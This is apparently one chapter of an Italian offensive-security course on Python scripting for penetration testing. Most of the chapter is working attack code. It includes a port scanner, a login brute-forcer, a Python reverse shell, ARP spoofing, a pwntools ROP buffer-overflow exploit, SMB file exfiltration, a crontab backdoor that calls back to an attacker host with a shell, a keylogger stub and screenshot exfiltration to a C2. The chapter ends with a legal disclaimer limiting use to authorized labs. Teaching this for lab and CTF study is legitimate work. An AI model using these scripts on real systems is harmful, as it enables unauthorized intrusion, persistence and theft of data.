HomeCapitolo 4

CAPITOLO 04 / 05

Scripting Python
per la Sicurezza

Python è il linguaggio preferito dai professionisti della sicurezza offensiva per la sua versatilità, le librerie di rete mature e la rapidità di prototipazione. Dal raw socket al fuzzing binario, Python copre ogni fase del penetration test.

4 sezioni
Versione: Python 3.10+
Librerie: Scapy · Pwntools · Requests · Impacket
Livello: Intermedio / Avanzato

§ 4.1

Python nel Contesto Offensivo

Python è diventato il linguaggio di riferimento per la security research per diverse ragioni: librerie di rete potenti (socket, Scapy, Impacket), accesso diretto ai binari (struct, ctypes, cffi), ecosistema di security tool (Pwntools, Volatility, Frida Python API) e prototipazione rapida che permette di adattare exploit in pochi minuti.

Le principali aree d'uso di Python nel pentest includono: sviluppo di exploit e proof-of-concept, automazione di workflow di attacco, analisi di traffico di rete (Scapy), fuzzing di applicazioni binarie (Pwntools/Boofuzz), parsing di output di tool e correlazione di dati, sviluppo di C2 leggeri e post-exploitation script.

🐚
Pwntools
Framework CTF e exploit: proc, tube, elf, rop, fmtstr, shellcraft
📡
Scapy
Packet crafting e network analysis: forgiatura raw packet qualsiasi protocollo
🌐
Requests + BeautifulSoup
HTTP client + HTML parsing per web scraping e testing
🔑
Impacket
Implementazione pura Python di protocolli Windows: SMB, MSRPC, Kerberos, LDAP
🔒
Cryptography / PyCryptodome
Primitive crittografiche: AES, RSA, hash, HMAC, curve ellittiche
🤖
Paramiko
SSH client/server puro Python: automazione tunneling e comandi remoti

§ 4.2

Logiche e Pattern di Scripting

I pattern ricorrenti negli script di sicurezza Python seguono strutture riconoscibili che è utile padroneggiare: socket raw per comunicazioni a basso livello, thread/asyncio per operazioni parallele (port scanning, bruteforce), struct.pack/unpack per manipolazione binaria, e subprocess per orchestrazione di tool esterni.

# Pattern 1: Port scanner multithread import socket import concurrent.futures import sys def check_port(host, port): try: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.settimeout(0.5) if s.connect_ex((host, port)) == 0: return port, True except: pass return port, False def scan(host, ports=range(1, 65536)): open_ports = [] with concurrent.futures.ThreadPoolExecutor(max_workers=200) as ex: results = ex.map(lambda p: check_port(host, p), ports) for port, open_ in results: if open_: open_ports.append(port) print(f"[+] {host}:{port} OPEN") return open_ports
# Pattern 2: Banner grabbing import socket def banner_grab(ip, port, timeout=3): try: s = socket.socket() s.settimeout(timeout) s.connect((ip, port)) banner = s.recv(1024).decode('utf-8', errors='replace').strip() s.close() return banner except Exception as e: return f"Error: {e}" # Pattern 3: HTTP bruteforce login import requests def brute_login(url, user, wordlist): with open(wordlist) as f: for pwd in f: pwd = pwd.strip() r = requests.post(url, data={'username': user, 'password': pwd}, allow_redirects=False, timeout=5) if r.status_code == 302: print(f"[!] Found: {user}:{pwd}") return pwd print("[-] Password not found") return None

§ 4.3

Esempi Pratici di Script Offensivi

Gli script di sicurezza più utili combinano più pattern: un port scanner che poi fa banner grabbing e correla i risultati con searchsploit, o uno script di web crawling che identifica parametri e li testa per SQL injection o XSS. Vediamo esempi pratici reali usati in CTF e lab pentest.

# Reverse shell Python (listener + shell) import socket, subprocess, os def reverse_shell(host, port): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) subprocess.call(['/bin/bash', '-i'])
# Scapy: ARP spoof from scapy.all import ARP, Ether, sendp, srp, conf import time def get_mac(ip): arp_req = ARP(pdst=ip) bc = Ether(dst="ff:ff:ff:ff:ff:ff") pkt = bc / arp_req answered, _ = srp(pkt, timeout=1, verbose=False) return answered[0][1].hwsrc def arp_spoof(target_ip, gateway_ip): target_mac = get_mac(target_ip) pkt = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip) sendp(pkt, verbose=False) # Pwntools: buffer overflow from pwn import * elf = ELF('./vulnerable_binary') rop = ROP(elf) # Costruzione ROP chain rop.call('puts', [elf.got['puts']]) # leak puts@GOT rop.call(elf.symbols['main']) # ritorna a main payload = b'A' * 64 + rop.chain() # 64 byte padding + ROP p = process(elf.path) p.sendlineafter(b'Input: ', payload) leak = u64(p.recvline().strip().ljust(8, b'\x00')) log.info(f"puts @ {hex(leak)}")
💡 Pwntools e CTF

Pwntools è la libreria standard per CTF pwn challenges: gestisce connessioni TCP/SSH, costruzione di ROP chains, shellcode generato automaticamente tramite shellcraft, e integrazione con GDB per il debugging durante lo sviluppo di exploit.

§ 4.4

Automazione e Post-Exploitation

Il post-exploitation con Python include: enumerazione del sistema compromesso, esfiltrazione di dati, persistence mechanism, e movimento laterale. Le librerie Impacket e Paramiko permettono di automatizzare operazioni su sistemi remoti senza tool aggiuntivi sul target.

# Impacket: SMB file exfil from impacket.smbconnection import SMBConnection def smb_exfil(target, user, password, share, remote_path, local_path): conn = SMBConnection(target, target, timeout=10) conn.login(user, password) with open(local_path, 'wb') as f: conn.getFile(share, remote_path, f.write) conn.logoff() print(f"[+] Downloaded: {remote_path} → {local_path}") # SSH automation con Paramiko import paramiko def ssh_exec(host, user, password, command): client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(host, username=user, password=password, timeout=10) _, stdout, stderr = client.exec_command(command) output = stdout.read().decode() client.close() return output # Persistence tramite crontab (Linux) def add_cron_backdoor(host, user, password, lhost, lport): cron_job = f"*/5 * * * * python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"{lhost}\",{lport}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'\n" cmd = f'(crontab -l 2>/dev/null; echo "{cron_job}") | crontab -' ssh_exec(host, user, password, cmd)
# Keylogger base (Windows, ctypes) import ctypes import ctypes.wintypes from ctypes import windll user32 = ctypes.windll.user32 def get_key_state(vk_code): return user32.GetAsyncKeyState(vk_code) & 0x8001 # Nota: uso solo a scopo educativo/lab autorizzato # Screenshot exfil import subprocess, base64, requests result = subprocess.run(['scrot', '/tmp/.s.png']) with open('/tmp/.s.png', 'rb') as f: data = base64.b64encode(f.read()).decode() # invia al C2 via HTTP POST
⛔ Avvertenza legale

Tutti gli script mostrati sono per uso esclusivamente didattico, in ambienti di laboratorio autorizzati (CTF, lab personale, pentest con autorizzazione scritta). L'uso non autorizzato su sistemi di terzi costituisce reato ai sensi della legge italiana (art. 615-ter c.p. — Accesso abusivo a sistema informatico).

Successivo
Analisi Malware